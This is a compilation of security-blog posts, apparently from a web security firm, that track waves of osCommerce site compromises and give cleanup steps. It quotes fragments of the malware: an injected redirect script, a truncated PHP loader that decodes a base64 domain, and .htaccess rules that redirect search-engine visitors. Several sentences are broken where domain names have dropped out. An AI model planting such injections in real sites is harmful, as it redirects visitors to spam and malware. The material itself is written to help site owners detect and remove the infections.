After all the latest osCommerce malware (div_colors,, CreateCSS,, etc), we’re seeing an old attack reemerging in full force, and compromising thousands of sites.

The attack is the “__google_analytics_obh” that add hidden links (for Blackhat SEO spam) to the sites. It has been happening for a while, but for the last few days, it just grew in mass scale.

This is what shows up on a compromised site:

Continuing attacks against osCommerce:

Busy week for osCommerce in terms of malware. First, the div_colors string, then, the CreateCSS string, and now, we are seeing thousands of osCommerce sites infected with a malware pointing to This is how it looks like in an infected site:

<script type="text/javascript">document.location = "…..tL2FkbWluLw=="

This javascript is generated by the following code added to the bottom of all PHP files in the server:

<?php if(!isset($tf[‘engine’])){$tf[‘engine’]=1;$tf[‘s’]=base64_decode(‘a2hjb2wuY29t’);$tf[‘u’]=’http://’.$tf[‘s’]…

osCommerce attacks and,, etc

We posted yesterday about a series of attacks against osCommerce sites using some russian domains to push the malware (generally the fake AV). We also posted details on how to fix and secure osCommerce to protect against those:

However, they are not the only ones targeting osCommerce. There is another group using many .in web sites (always registered by Jennifer Hook – that are infecting thousands of sites too.

When they detect an vulnerable site (see previous post by details on that), they drop a backdoor, generally named google*.php that will allow them to manage the site remotely. You can see the full backdoor here (caught by our honeypots):

It is interesting that in addition to give full shell access to the attackers, it also uses to read the list of domains to use in the attack. Currently, these are the ones being used:

Continuing attacks against osCommerce sites

We are seeing an increase in the number of osCommerce sites hacked lately, and we recommend anyone using it to take precautions to avoid getting hacked and/or reinfected.

On most of the sites we’ve analyzed so far, the attackers used the file_manager.php vulnerability to hack the site.

If you’re using osCommerce, the first thing you have to do is to install the latest version. Second, remove the file_manager.php file and then rename your admin directory to something else: login via FTP or SSH(recommended) to do so

ftp> delete admin/file_manager.php
ftp> rename admin admin-random-folder-name
ftp> cd admin-random-folder-name/includes
ftp> get configure.php

Once you do that, modify your configure.php to point the admin folder to the new location.

osCommerce attacks –

We are seeing a very large number of osCommerce sites hacked on the last few days. If you are an osCommerce user, make sure to update it asap and check if to see if it’s been infected (also remove the file_manager.php from the admin directory).

These attacks seems to be using the same vulnerability used in previous attacks (,, etc).

The latest version consists of the following:

1 .htaccess is modified to redirect users to,,, etc (just the first domain infected more than 600 sites according to Google).

This is what the .htaccess looks like:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteRule ^(.*)$ [R=301,L]

2 A backdoor is created inside /js/conf.php and another one at /flops.php. Make sure to remove these and search for other PHP files that are not part of the official osCommerce distribution.

3 Blackhat SEO SPAM is added to includes/application_bottom.php.

All the domains used in this attack are hosted at

If your site is hacked and you need help, contact us a or

osCommerce users, update your installations as soon as possible

If you are an osCommerce user, please make sure to update your installation (and check your sites) as soon as possible. We have been tracking multiple compromises of osCommerce installations where the attackers added this javascript malware to the affected sites:

< script src = “” >

This code is used to load malware to unsuspecting visitors of your site. Most of the sites affected also had a few PHP files inserted inside the /images folder, generally called inclasses.php, loadclasses.php or phpclasses.php.

We are still researching how those sites got hacked and which vulnerability was used. It could be this one, or some of the others recently published.

If you have more information let us know.
